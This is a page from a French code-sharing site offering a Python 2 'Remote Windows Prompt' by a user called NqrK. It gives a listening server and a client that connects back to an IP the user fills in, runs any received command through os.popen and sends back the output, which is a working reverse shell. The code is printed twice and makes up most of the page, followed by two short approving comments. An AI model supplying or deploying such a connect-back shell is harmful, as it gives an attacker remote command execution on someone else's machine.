begin process at 2012 05 24 05:08:25
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Réseau & internet

 > REMOTE WINDOWS PROMPT

REMOTE WINDOWS PROMPT


 Information sur la source

Note :
8 / 10 - par 1 personne
8,00 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10
Catégorie :Réseau & internet Classé sous :Remote, cmd, network Niveau :Initié Date de création :17/12/2010 Vu / téléchargé :2 792 / 87

Auteur : NqrK

Ecrire un message privé
Site perso
Commentaire sur cette source (2)
Ajouter un commentaire et/ou une note

 Description

Cliquez pour voir la capture en taille normale
Voila, ce petit script sert à prendre le contrôle d'une console CMD.EXE à distance.
Rien de bien méchant, je me suis donner beaucoup de mal pour le transfère de données mais au final sa peut servir :)

Source

  • ##############################################
  • SERVEUR
  • ##############################################
  • #!/usr/bin/python
  • # Remote Windows Prompt / Shell
  • # By NqrK
  • # Pr0ceed-Team
  • # SSTeam
  • # Code Python
  • # SERVER
  • import os
  • import sys
  • import socket
  • Host = ''
  • Port = 6669
  • error = "Error : Socket\n"
  • adrs = (Host, Port)
  • Buff = 64790
  • error = "Error: Socket"
  • SockServ = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • try:
  • SockServ.bind(adrs)
  • SockServ.listen(5)
  • print "\n\a[*]Server Listenning on port ", Port, " [Waiting...].\n"
  • except socket.error:
  • print error
  • raw_input("Press Enter to Continue..")
  • connexion, adresse = SockServ.accept()
  • print "\n\a[*]New Connection ~ IP: %s, Port: %s\n" % (adresse[0], adresse[1])
  • while (1):
  • connexion.send("cmd")
  • cmd = raw_input("root@db ~ # ")
  • if cmd == "/disconnect":
  • connexion.send("close~cmd")
  • data = connexion.recv(Buff)
  • print ""
  • print data
  • break
  • elif cmd == "":
  • print "\nCommand Not Found...\n"
  • else:
  • connexion.send(cmd)
  • data = connexion.recv(Buff)
  • print ""
  • print data, "\n"
  • ##############################################
  • CLIENT
  • ##############################################
  • #!/usr/bin/python
  • # Remote Windows Prompt / Shell
  • # By NqrK
  • # Pr0ceed-Team
  • # SSTeam
  • # Code Python
  • # CLIENT
  • import os
  • import sys
  • import socket
  • import time
  • Host = '127.0.0.1' # Enter ur IP ADRESS
  • Port = 6669
  • adrs = (Host, Port)
  • Buff = 64790
  • error = "Error Socket"
  • SockClient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • try:
  • print "Connection....Waiting...\n"
  • time.sleep(2)
  • SockClient.connect(adrs)
  • print "Connected !!!"
  • except socket.error:
  • print error
  • raw_input()
  • while (1):
  • data = SockClient.recv(Buff)
  • if data == "cmd":
  • Proc = SockClient.recv(Buff)
  • try:
  • if Proc == "close~cmd":
  • SockClient.send("\n[*]Remote Windows Prompt Disconnected..\n")
  • pass
  • else :
  • shell_exec = os.popen(Proc)
  • SockClient.send(shell_exec.read())
  • except:
  • SockClient.send("[*]Error Remote Shell...")
  • SockClient.close()
##############################################
SERVEUR
##############################################

#!/usr/bin/python

# Remote Windows Prompt / Shell
# By NqrK
# Pr0ceed-Team
# SSTeam
# Code Python
# SERVER


import os
import sys
import socket

Host = ''
Port = 6669

error = "Error : Socket\n"
adrs = (Host, Port)
Buff = 64790
error = "Error: Socket"

SockServ = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    SockServ.bind(adrs)
    SockServ.listen(5)
    print "\n\a[*]Server Listenning on port ", Port, " [Waiting...].\n"
except socket.error:
    print error
    raw_input("Press Enter to Continue..")

connexion, adresse = SockServ.accept()

print "\n\a[*]New Connection ~ IP: %s, Port: %s\n" % (adresse[0], adresse[1])


while (1):

    connexion.send("cmd")
    
    cmd = raw_input("root@db ~ # ")

    if cmd == "/disconnect":

        connexion.send("close~cmd")
        data = connexion.recv(Buff)
        print ""
        print data
        break

    elif cmd == "":

        print "\nCommand Not Found...\n"

    else:

        connexion.send(cmd)
        data = connexion.recv(Buff)
        print ""
        print data, "\n"

##############################################
CLIENT
##############################################

#!/usr/bin/python

# Remote Windows Prompt / Shell
# By NqrK
# Pr0ceed-Team
# SSTeam
# Code Python
# CLIENT

import os
import sys
import socket
import time

Host = '127.0.0.1' # Enter ur IP ADRESS
Port = 6669
adrs = (Host, Port)
Buff = 64790
error = "Error Socket"

SockClient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    print "Connection....Waiting...\n"
    time.sleep(2)
    
    SockClient.connect(adrs)
    print "Connected !!!"
    
except socket.error:
    
    print error
    raw_input()

while (1):

    data = SockClient.recv(Buff)

    if data == "cmd":

        Proc = SockClient.recv(Buff)

        try:

            if Proc == "close~cmd":
                SockClient.send("\n[*]Remote Windows Prompt Disconnected..\n")
                
                pass

            else :

                shell_exec = os.popen(Proc)
                SockClient.send(shell_exec.read())

        except:

            SockClient.send("[*]Error Remote Shell...")

SockClient.close()



 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Sources de la même categorie

SOCKET MULTITHREAD SIMPLE par Guillamue06
TRANSFERT DE FICHIER PAR SOCKET par Guillamue06
Source avec une capture AUTO-FOLLOW/UNFOLLOW [TWITTER] EN [PERL] UTILISANT NET::TWIT... par GeroXXXX
Source avec Zip PINGEUR RÉSEAU par jeanbleo44
Source avec Zip Source avec une capture LISTING ET LOGS DES CONNEXIONS ET DECONNEXIONS DE MACHINES Q... par saigneurdushi

 Sources en rapport avec celle ci

REMOTESHELL + DOWNLOAD & UPLOAD DE FICHIER par Marnage
Source avec Zip Source avec une capture BATAILLE NAVALE EN LOCAL OU EN RESEAU :D par Bl0tCh
Source avec Zip CLIENT POUR L'ADMINISTRATION A DISTANCE DU PORT MAPPER par taz_iup

Commentaires et avis

Commentaire de saigneurdushi le 04/01/2011 22:55:30 8/10

C'est du bon ! merci :-)

Commentaire de NqrK le 06/01/2011 11:46:22

Ha Nice, si ça te plait alors je suis heureux ;)

 Ajouter un commentaire


Discussions en rapport avec ce code source dans le forum

Envoie de parametres vers la console [ par 8sango8 ] Bonjours,voila je suis un novice en Python . Mon problème est le suivant, je dois envoyer un certain nombre de paramètre vers la console (cmd windows)


Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 2,402 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales